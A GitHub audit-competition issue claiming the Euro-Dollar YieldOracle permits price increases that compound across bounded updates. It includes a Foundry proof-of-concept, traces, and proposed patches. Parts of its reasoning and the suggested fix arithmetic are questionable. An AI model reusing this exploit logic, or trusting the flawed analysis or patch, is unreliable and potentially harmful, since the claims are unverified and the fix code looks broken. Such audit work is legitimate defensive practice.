hats-finance / Euro-Dollar-0xa4ccd3b6daa763f729ad59eae75f9cbff7baf2cd

Audit competition repository for Euro-Dollar (0xa4ccd3b6daa763f729ad59eae75f9cbff7baf2cd)
https://hats.finance
MIT License
3 stars 2 forks source link

Oracle's price update mechanism lacks cumulative increase controls, allowing gradual but significant price manipulation through a series of updates that each stay within bounds. #115

Open hats-bug-reporter[bot] opened 2 weeks ago

hats-bug-reporter[bot] commented 2 weeks ago

Github username: @0xbrett8571 Twitter username: 0xbrett8571 Submission hash (on-chain): 0xd98c4d81f30a950aed79ac21aeb951f280b963ee8f96f9da7b34eb9714f0557d Severity: high

Description:

Description

YieldOracle contracts allow for systematic price manipulation through a series of small updates that individually comply with maxPriceIncrease limits but compound to create significant price movements.

This vulnerability directly compromises the core price stability mechanism of the protocol, enabling systematic value extraction through oracle manipulation.

The key insight is that while individual price updates respect bounds, the cumulative effect creates unbounded geometric growth potential.

YieldOracle.sol#L69-L85

function updatePrice(uint256 price) external onlyOracle {
    // @Issue - Delay check only prevents rapid updates but not incremental manipulation
    require(lastUpdate + updateDelay < block.timestamp, "Insufficient update delay");  // @Issue: Each check is isolated, enabling sequential manipulation

    // @Issue - Price state updates allow baseline manipulation
    if (nextPrice != NO_PRICE) {
        previousPrice = currentPrice;
        currentPrice = nextPrice;
        emit PriceCommitted(currentPrice);
    }

    // @Issue - Single-step price bound check enables incremental manipulation
    require(price - currentPrice <= maxPriceIncrease, "Price out of bounds");
    nextPrice = price;
}

InvestToken.sol - Price Oracle Dependency

function convertToAssets(uint256 shares) public view returns (uint256) {
    // @Issue - Direct reliance on oracle price without manipulation safeguards
    return yieldOracle.sharesToAssets(shares);
}

The price oracle system allows for incremental price manipulation through a series of small updates that each stay within bounds but compound to create significant price movements. This enables an attacker to gradually push the exchange rate in their desired direction, because the YieldOracle implementation allows systematic price manipulation through incremental updates, enabling an attacker to influence the USDE/InvestToken exchange rate for profit.

The fundamental issue lies in the price validation mechanism that:

  1. Only checks against the immediate previous price
  2. Allows geometric growth through sequential updates
  3. Lacks cumulative increase controls

Real-world exploitation path:

Step 1: Initial State
- USDE/InvestToken rate: 1.0
- maxPriceIncrease: 10%

Step 2: Attack Sequence
T=0: Update price to 1.10 (within 10% bound)
T=1h: Price commits
T=1h: Update to 1.21 (within 10% of new baseline)
T=2h: Price commits
Result: 21% total increase despite 10% limit

Attack Scenario

Exploitation strategy for the price manipulation vulnerability

  1. Optimal Timing Pattern
    // Wait exactly updateDelay + 1 between updates
    vm.warp(block.timestamp + oracle.updateDelay() + 1);
    // Wait minimum commitDelay + 1 to lock in prices
    vm.warp(block.timestamp + oracle.commitDelay() + 1);
  2. Maximized Price Impact
    // Calculate maximum allowed increase
    uint256 maxIncrease = oracle.maxPriceIncrease(); // 0.1e18 (10%)
    // Chain updates at exactly maxIncrease
    uint256 nextUpdate = currentPrice + maxIncrease;
  3. Strategic Update Sequence

Attachments

  1. Proof of Concept (PoC) File
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.21;

import {Test} from "forge-std/Test.sol";
import {YieldOracle} from "../src/YieldOracle.sol";
import {InvestToken} from "../src/InvestToken.sol";
import {USDE} from "../src/USDE.sol";
import {IUSDE} from "../src/interfaces/IUSDE.sol";
import {Validator} from "../src/Validator.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";

/**
 * @title Price Manipulation Test
 * @notice Test suite demonstrating price oracle manipulation vectors
 * @dev Tests sequential price updates to exploit oracle price bounds
 *
 * Key Components:
 * - YieldOracle: Price feed with update/commit delays
 * - InvestToken: ERC4626 vault token accepting USDE deposits
 * - USDE: Underlying stablecoin asset
 * - Validator: Access control for token operations
 *
 * Attack Flow:
 * 1. Initial state: Price = 1.0 USDE/IT
 * 2. First update: Price -> 1.1 (+10% within bounds)
 * 3. Second update: Price -> 1.2 (+10% from new baseline) 
 * 4. Third update: Price -> 1.3 (+10% compounded)
 * 5. Victim deposits at manipulated price
 * 6. Price difference creates loss on withdrawal
 *
 * Key Findings:
 * - Individual updates within maxPriceIncrease bounds
 * - Cumulative effect exceeds intended 20% limit
 * - Demonstrates compounding manipulation risk
 * - Impacts user deposits/withdrawals
 */

contract PriceManipulationTest is Test {
    YieldOracle public oracle;
    InvestToken public investToken;
    USDE public usde;
    Validator public validator;

    // Implementation contracts
    USDE public usdeImpl;
    InvestToken public investTokenImpl;

    // Proxies
    ERC1967Proxy public usdeProxy;
    ERC1967Proxy public investTokenProxy;

    address public admin = address(1);
    address public attacker = address(2);
    address public victim = address(3);

    /**
     * @notice Executes price manipulation test scenario
     * @dev Demonstrates how sequential price updates can be used to manipulate oracle prices
     *
     * Test Steps:
     * 1. Setup initial state with 1.0 USDE/IT price ratio
     * 2. Execute first price update:
     *    - Wait for update delay
     *    - Update to 1.1 USDE/IT (10% increase)
     *    - Wait for commit delay
     *    - Commit new price
     * 3. Execute second price update:
     *    - Update to 1.2 USDE/IT (10% increase)
     *    - Commit after delay
     * 4. Execute third price update:
     *    - Update to 1.3 USDE/IT (10% increase)
     *    - Commit final price
     * 5. Demonstrate exploitation:
     *    - Victim deposits 1000 USDE
     *    - Records shares received
     *    - Executes withdrawal
     *    - Calculates profit/loss impact
     *
     * Expected Results:
     * - Price increases beyond 20% through sequential updates
     * - Each update stays within maxPriceIncrease bound
     * - Victim experiences negative profit/loss from price manipulation
     */    
    function setUp() public {
        // Deploy core contracts
        validator = new Validator(admin, admin, admin);

        // Deploy USDE implementation and proxy
        usdeImpl = new USDE(validator);
        bytes memory usdeData = abi.encodeWithSelector(USDE.initialize.selector, admin);
        usdeProxy = new ERC1967Proxy(address(usdeImpl), usdeData);
        usde = USDE(address(usdeProxy));

        // Deploy Oracle
        oracle = new YieldOracle(admin, attacker);

        // Deploy InvestToken implementation and proxy
        investTokenImpl = new InvestToken(validator, IUSDE(address(usdeProxy)));
        bytes memory investData = abi.encodeWithSelector(
            InvestToken.initialize.selector,
            "InvestToken",
            "IT",
            admin,
            oracle
        );
        investTokenProxy = new ERC1967Proxy(address(investTokenImpl), investData);
        investToken = InvestToken(address(investTokenProxy));

        // Setup roles and permissions
        vm.startPrank(admin);
        usde.grantRole(usde.MINT_ROLE(), address(investTokenProxy));
        usde.grantRole(usde.BURN_ROLE(), address(investTokenProxy));
        validator.whitelist(address(investTokenProxy));
        validator.whitelist(victim);

        // Initial funding
        usde.grantRole(usde.MINT_ROLE(), admin);
        usde.mint(victim, 10000e18);
        vm.stopPrank();
    }

    function testPriceManipulation() public {
        emit log_string("\n=== Initial State ===");
        uint256 initialPrice = 1e18;
        uint256 depositAmount = 1000e18;
        emit log_named_decimal_uint("Initial Price", initialPrice, 18);

        vm.startPrank(attacker);

        // First update
        vm.warp(block.timestamp + oracle.updateDelay() + 1);
        emit log_string("\n=== First Price Update ===");
        uint256 maxIncrease = oracle.maxPriceIncrease();
        uint256 firstUpdate = initialPrice + maxIncrease;
        oracle.updatePrice(firstUpdate);
        emit log_named_decimal_uint("Updated Price", firstUpdate, 18);

        vm.warp(block.timestamp + oracle.commitDelay() + 1);
        oracle.commitPrice();
        emit log_named_decimal_uint("Committed Price", oracle.currentPrice(), 18);

        // Second update
        vm.warp(block.timestamp + oracle.updateDelay() + 1);
        emit log_string("\n=== Second Price Update ===");
        uint256 secondUpdate = firstUpdate + maxIncrease;
        oracle.updatePrice(secondUpdate);
        emit log_named_decimal_uint("Updated Price", secondUpdate, 18);

        vm.warp(block.timestamp + oracle.commitDelay() + 1);
        oracle.commitPrice();
        emit log_named_decimal_uint("Committed Price", oracle.currentPrice(), 18);

        // Third update
        vm.warp(block.timestamp + oracle.updateDelay() + 1);
        emit log_string("\n=== Third Price Update ===");
        uint256 thirdUpdate = secondUpdate + maxIncrease;
        oracle.updatePrice(thirdUpdate);
        emit log_named_decimal_uint("Updated Price", thirdUpdate, 18);

        vm.warp(block.timestamp + oracle.commitDelay() + 1);
        oracle.commitPrice();
        emit log_named_decimal_uint("Final Price", oracle.currentPrice(), 18);
        vm.stopPrank();

        // Demonstrate exploitation
        emit log_string("\n=== Exploitation Impact ===");

        vm.startPrank(victim);
        usde.approve(address(investToken), depositAmount);
        uint256 sharesReceived = investToken.deposit(depositAmount, victim);
        emit log_named_decimal_uint("Shares Received", sharesReceived, 18);

        uint256 withdrawnAmount = investToken.redeem(sharesReceived, victim, victim);
        emit log_named_decimal_uint("Withdrawn Amount", withdrawnAmount, 18);

        int256 profitLoss = int256(withdrawnAmount) - int256(depositAmount);
        emit log_named_decimal_int("Profit/Loss", profitLoss, 18);
        vm.stopPrank();

        assertTrue(oracle.currentPrice() > initialPrice * 120 / 100, "Price should increase >20%");
    }      
}

Logs:

Ran 1 test for test/PriceManipulationTest.t.sol:PriceManipulationTest
[PASS] testPriceManipulation() (gas: 238917)
Logs:

=== Initial State ===
  Initial Price: 1.000000000000000000

=== First Price Update ===
  Updated Price: 1.100000000000000000
  Committed Price: 1.100000000000000000

=== Second Price Update ===
  Updated Price: 1.200000000000000000
  Committed Price: 1.200000000000000000

=== Third Price Update ===
  Updated Price: 1.300000000000000000
  Final Price: 1.300000000000000000

=== Exploitation Impact ===
  Shares Received: 769.230769230769230769
  Withdrawn Amount: 923.076923076923076922
  Profit/Loss: -76.923076923076923078

Traces:
  [303912] PriceManipulationTest::testPriceManipulation()
    ├─ emit log_string(val: "\n=== Initial State ===")
    ├─ emit log_named_decimal_uint(key: "Initial Price", val: 1000000000000000000 [1e18], decimals: 18)
    ├─ [0] VM::startPrank(SHA-256: [0x0000000000000000000000000000000000000002])
    │   └─ ← [Return] 
    ├─ [2373] YieldOracle::updateDelay() [staticcall]
    │   └─ ← [Return] 86400 [8.64e4]
    ├─ [0] VM::warp(86402 [8.64e4])
    │   └─ ← [Return] 
    ├─ emit log_string(val: "\n=== First Price Update ===")
    ├─ [2349] YieldOracle::maxPriceIncrease() [staticcall]
    │   └─ ← [Return] 100000000000000000 [1e17]
    ├─ [33164] YieldOracle::updatePrice(1100000000000000000 [1.1e18])
    │   ├─ emit PriceUpdated(newPrice: 1100000000000000000 [1.1e18])
    │   └─ ← [Stop] 
    ├─ emit log_named_decimal_uint(key: "Updated Price", val: 1100000000000000000 [1.1e18], decimals: 18)
    ├─ [2372] YieldOracle::commitDelay() [staticcall]
    │   └─ ← [Return] 3600
    ├─ [0] VM::warp(90003 [9e4])
    │   └─ ← [Return] 
    ├─ [7343] YieldOracle::commitPrice()
    │   ├─ emit PriceCommitted(newCurrentPrice: 1100000000000000000 [1.1e18])
    │   └─ ← [Stop] 
    ├─ [350] YieldOracle::currentPrice() [staticcall]
    │   └─ ← [Return] 1100000000000000000 [1.1e18]
    ├─ emit log_named_decimal_uint(key: "Committed Price", val: 1100000000000000000 [1.1e18], decimals: 18)
    ├─ [373] YieldOracle::updateDelay() [staticcall]
    │   └─ ← [Return] 86400 [8.64e4]
    ├─ [0] VM::warp(176404 [1.764e5])
    │   └─ ← [Return] 
    ├─ emit log_string(val: "\n=== Second Price Update ===")
    ├─ [22364] YieldOracle::updatePrice(1200000000000000000 [1.2e18])
    │   ├─ emit PriceUpdated(newPrice: 1200000000000000000 [1.2e18])
    │   └─ ← [Stop] 
    ├─ emit log_named_decimal_uint(key: "Updated Price", val: 1200000000000000000 [1.2e18], decimals: 18)
    ├─ [372] YieldOracle::commitDelay() [staticcall]
    │   └─ ← [Return] 3600
    ├─ [0] VM::warp(180005 [1.8e5])
    │   └─ ← [Return] 
    ├─ [5243] YieldOracle::commitPrice()
    │   ├─ emit PriceCommitted(newCurrentPrice: 1200000000000000000 [1.2e18])
    │   └─ ← [Stop] 
    ├─ [350] YieldOracle::currentPrice() [staticcall]
    │   └─ ← [Return] 1200000000000000000 [1.2e18]
    ├─ emit log_named_decimal_uint(key: "Committed Price", val: 1200000000000000000 [1.2e18], decimals: 18)
    ├─ [373] YieldOracle::updateDelay() [staticcall]
    │   └─ ← [Return] 86400 [8.64e4]
    ├─ [0] VM::warp(266406 [2.664e5])
    │   └─ ← [Return] 
    ├─ emit log_string(val: "\n=== Third Price Update ===")
    ├─ [22364] YieldOracle::updatePrice(1300000000000000000 [1.3e18])
    │   ├─ emit PriceUpdated(newPrice: 1300000000000000000 [1.3e18])
    │   └─ ← [Stop] 
    ├─ emit log_named_decimal_uint(key: "Updated Price", val: 1300000000000000000 [1.3e18], decimals: 18)
    ├─ [372] YieldOracle::commitDelay() [staticcall]
    │   └─ ← [Return] 3600
    ├─ [0] VM::warp(270007 [2.7e5])
    │   └─ ← [Return] 
    ├─ [2443] YieldOracle::commitPrice()
    │   ├─ emit PriceCommitted(newCurrentPrice: 1300000000000000000 [1.3e18])
    │   └─ ← [Stop] 
    ├─ [350] YieldOracle::currentPrice() [staticcall]
    │   └─ ← [Return] 1300000000000000000 [1.3e18]
    ├─ emit log_named_decimal_uint(key: "Final Price", val: 1300000000000000000 [1.3e18], decimals: 18)
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return] 
    ├─ emit log_string(val: "\n=== Exploitation Impact ===")
    ├─ [0] VM::startPrank(RIPEMD-160: [0x0000000000000000000000000000000000000003])
    │   └─ ← [Return] 
    ├─ [29715] ERC1967Proxy::approve(ERC1967Proxy: [0xa0Cb889707d426A7A386870A03bc70d1b0697598], 1000000000000000000000 [1e21])
    │   ├─ [24828] USDE::approve(ERC1967Proxy: [0xa0Cb889707d426A7A386870A03bc70d1b0697598], 1000000000000000000000 [1e21]) [delegatecall]
    │   │   ├─ emit Approval(owner: RIPEMD-160: [0x0000000000000000000000000000000000000003], spender: ERC1967Proxy: [0xa0Cb889707d426A7A386870A03bc70d1b0697598], value: 1000000000000000000000 [1e21])
    │   │   └─ ← [Return] true
    │   └─ ← [Return] true
    ├─ [86925] ERC1967Proxy::deposit(1000000000000000000000 [1e21], RIPEMD-160: [0x0000000000000000000000000000000000000003])
    │   ├─ [82038] InvestToken::deposit(1000000000000000000000 [1e21], RIPEMD-160: [0x0000000000000000000000000000000000000003]) [delegatecall]
    │   │   ├─ [643] YieldOracle::assetsToShares(1000000000000000000000 [1e21]) [staticcall]
    │   │   │   └─ ← [Return] 769230769230769230769 [7.692e20]
    │   │   ├─ [25842] ERC1967Proxy::burn(RIPEMD-160: [0x0000000000000000000000000000000000000003], 1000000000000000000000 [1e21])
    │   │   │   ├─ [25455] USDE::burn(RIPEMD-160: [0x0000000000000000000000000000000000000003], 1000000000000000000000 [1e21]) [delegatecall]
    │   │   │   │   ├─ [5016] Validator::isValid(RIPEMD-160: [0x0000000000000000000000000000000000000003], 0x0000000000000000000000000000000000000000) [staticcall]
    │   │   │   │   │   └─ ← [Return] true
    │   │   │   │   ├─ emit Transfer(from: RIPEMD-160: [0x0000000000000000000000000000000000000003], to: 0x0000000000000000000000000000000000000000, value: 1000000000000000000000 [1e21])
    │   │   │   │   └─ ← [Return] true
    │   │   │   └─ ← [Return] true
    │   │   ├─ [843] Validator::isValidStrict(0x0000000000000000000000000000000000000000, RIPEMD-160: [0x0000000000000000000000000000000000000003]) [staticcall]
    │   │   │   └─ ← [Return] true
    │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: RIPEMD-160: [0x0000000000000000000000000000000000000003], value: 769230769230769230769 [7.692e20])
    │   │   ├─ emit Deposit(sender: RIPEMD-160: [0x0000000000000000000000000000000000000003], owner: RIPEMD-160: [0x0000000000000000000000000000000000000003], assets: 1000000000000000000000 [1e21], sha
res: 769230769230769230769 [7.692e20])                                                                                                                                                                       │   │   └─ ← [Return] 769230769230769230769 [7.692e20]
    │   └─ ← [Return] 769230769230769230769 [7.692e20]
    ├─ emit log_named_decimal_uint(key: "Shares Received", val: 769230769230769230769 [7.692e20], decimals: 18)
    ├─ [16724] ERC1967Proxy::redeem(769230769230769230769 [7.692e20], RIPEMD-160: [0x0000000000000000000000000000000000000003], RIPEMD-160: [0x0000000000000000000000000000000000000003])
    │   ├─ [16331] InvestToken::redeem(769230769230769230769 [7.692e20], RIPEMD-160: [0x0000000000000000000000000000000000000003], RIPEMD-160: [0x0000000000000000000000000000000000000003]) [delegatecal
l]                                                                                                                                                                                                           │   │   ├─ [644] YieldOracle::sharesToAssets(769230769230769230769 [7.692e20]) [staticcall]
    │   │   │   └─ ← [Return] 923076923076923076922 [9.23e20]
    │   │   ├─ [553] Validator::isValidStrict(RIPEMD-160: [0x0000000000000000000000000000000000000003], 0x0000000000000000000000000000000000000000) [staticcall]
    │   │   │   └─ ← [Return] true
    │   │   ├─ emit Transfer(from: RIPEMD-160: [0x0000000000000000000000000000000000000003], to: 0x0000000000000000000000000000000000000000, value: 769230769230769230769 [7.692e20])
    │   │   ├─ [7639] ERC1967Proxy::mint(RIPEMD-160: [0x0000000000000000000000000000000000000003], 923076923076923076922 [9.23e20])
    │   │   │   ├─ [7252] USDE::mint(RIPEMD-160: [0x0000000000000000000000000000000000000003], 923076923076923076922 [9.23e20]) [delegatecall]
    │   │   │   │   ├─ [1016] Validator::isValid(0x0000000000000000000000000000000000000000, RIPEMD-160: [0x0000000000000000000000000000000000000003]) [staticcall]
    │   │   │   │   │   └─ ← [Return] true
    │   │   │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: RIPEMD-160: [0x0000000000000000000000000000000000000003], value: 923076923076923076922 [9.23e20])
    │   │   │   │   └─ ← [Return] true
    │   │   │   └─ ← [Return] true
    │   │   ├─ emit Withdraw(sender: RIPEMD-160: [0x0000000000000000000000000000000000000003], receiver: RIPEMD-160: [0x0000000000000000000000000000000000000003], owner: RIPEMD-160: [0x0000000000000000
000000000000000000000003], assets: 923076923076923076922 [9.23e20], shares: 769230769230769230769 [7.692e20])                                                                                                │   │   └─ ← [Return] 923076923076923076922 [9.23e20]
    │   └─ ← [Return] 923076923076923076922 [9.23e20]
    ├─ emit log_named_decimal_uint(key: "Withdrawn Amount", val: 923076923076923076922 [9.23e20], decimals: 18)
    ├─ emit log_named_decimal_int(key: "Profit/Loss", val: -76923076923076923078 [-7.692e19], decimals: 18)
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return] 
    ├─ [350] YieldOracle::currentPrice() [staticcall]
    │   └─ ← [Return] 1300000000000000000 [1.3e18]
    ├─ [0] VM::assertTrue(true, "Price should increase >20%") [staticcall]
    │   └─ ← [Return] 
    └─ ← [Stop] 

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.04ms (743.50µs CPU time)

Ran 1 test suite in 2.02s (4.04ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
  1. Revised Code File (Optional)

Consider either of the two mitigation.

function updatePrice(uint256 price) external onlyOracle {
    require(lastUpdate + updateDelay < block.timestamp, "Insufficient update delay");

+   // Add cumulative increase check over longer timeframe
+   require(price <= previousPrice * (1 + maxPriceIncrease) ** 2, "Cumulative increase too high");

    if (nextPrice != NO_PRICE) {
        previousPrice = currentPrice;
        currentPrice = nextPrice;
        emit PriceCommitted(currentPrice);
    }

    require(price - currentPrice <= maxPriceIncrease, "Price out of bounds");
    nextPrice = price;
}

This fix implements rolling window price tracking and cumulative increase limits while maintaining individual update bounds.

contract YieldOracle {
+   uint256 public constant MAX_CUMULATIVE_INCREASE = 15; // 15% max increase over window
+   uint256 public constant PRICE_WINDOW = 1 days;
+   mapping(uint256 => uint256) private priceHistory;

    function updatePrice(uint256 price) external onlyOracle {
        require(lastUpdate + updateDelay < block.timestamp, "Insufficient update delay");

+       // Track cumulative price movement
+       uint256 windowStart = block.timestamp - PRICE_WINDOW;
+       uint256 baselinePrice = priceHistory[windowStart];
+       require(price <= baselinePrice * (100 + MAX_CUMULATIVE_INCREASE) / 100, "Cumulative increase exceeded");

        if (nextPrice != NO_PRICE) {
            previousPrice = currentPrice;
            currentPrice = nextPrice;
            emit PriceCommitted(currentPrice);
        }

        require(price - currentPrice <= maxPriceIncrease, "Price out of bounds");
+       priceHistory[block.timestamp] = price;
        nextPrice = price;
    }
}
AndreiMVP commented 1 week ago

Similar to other issues submitted by user...